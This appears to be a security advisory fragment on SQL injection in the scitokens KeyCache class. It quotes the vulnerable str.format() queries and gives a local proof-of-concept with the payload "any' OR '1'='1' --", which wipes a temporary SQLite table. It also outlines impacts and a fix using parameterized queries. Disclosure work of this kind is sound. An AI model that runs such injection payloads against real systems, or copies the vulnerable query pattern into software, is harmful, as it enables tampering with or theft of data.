+ "details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python's `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(issuer, key_id))\n```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \\\n '{keydata}', '{next_update}')\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n keydata=json.dumps(keydata), next_update=time.time()+next_update))\n```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(issuer,\n key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \\\n '{keydata}', '{next_update}')\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n keydata=keydata, next_update=time.time()+cache_retry_interval))\n```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n \"issuer = '{issuer}'\")\n# ...\ncurs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n \n # We will demonstrate the vulnerability by manually executing the kind of query\n # that WAS present in the code, showing how it can be exploited.\n \n # Setup temporary database\n fd, db_path = tempfile.mkstemp()\n os.close(fd)\n \n conn = sqlite3.connect(db_path)\n curs = conn.cursor()\n curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n \n # Add legitimate entries\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n conn.commit()\n \n curs.execute(\"SELECT count(*) FROM keycache\")\n print(f\"Count before injection: {curs.fetchone()[0]}\")\n \n # MALICIOUS INPUT\n # The original code was: \n # curs.execute(\"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(issuer, key_id))\n \n malicious_issuer = \"any' OR '1'='1' --\"\n malicious_kid = \"irrelevant\"\n \n print(f\"Simulating injection with issuer: {malicious_issuer}\")\n \n # This simulates what the VULNERABLE code did:\n query = \"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(malicious_issuer, malicious_kid)\n print(f\"Generated query: {query}\")\n \n curs.execute(query)\n conn.commit()\n \n curs.execute(\"SELECT count(*) FROM keycache\")\n count = curs.fetchone()[0]\n print(f\"Count after injection: {count}\")\n \n if count == 0:\n print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n \n conn.close()\n os.remove(db_path)\n\nif __name__ == \"__main__\":\n poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1. **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2. **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3. **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., `?` for SQLite).",
0 commit comments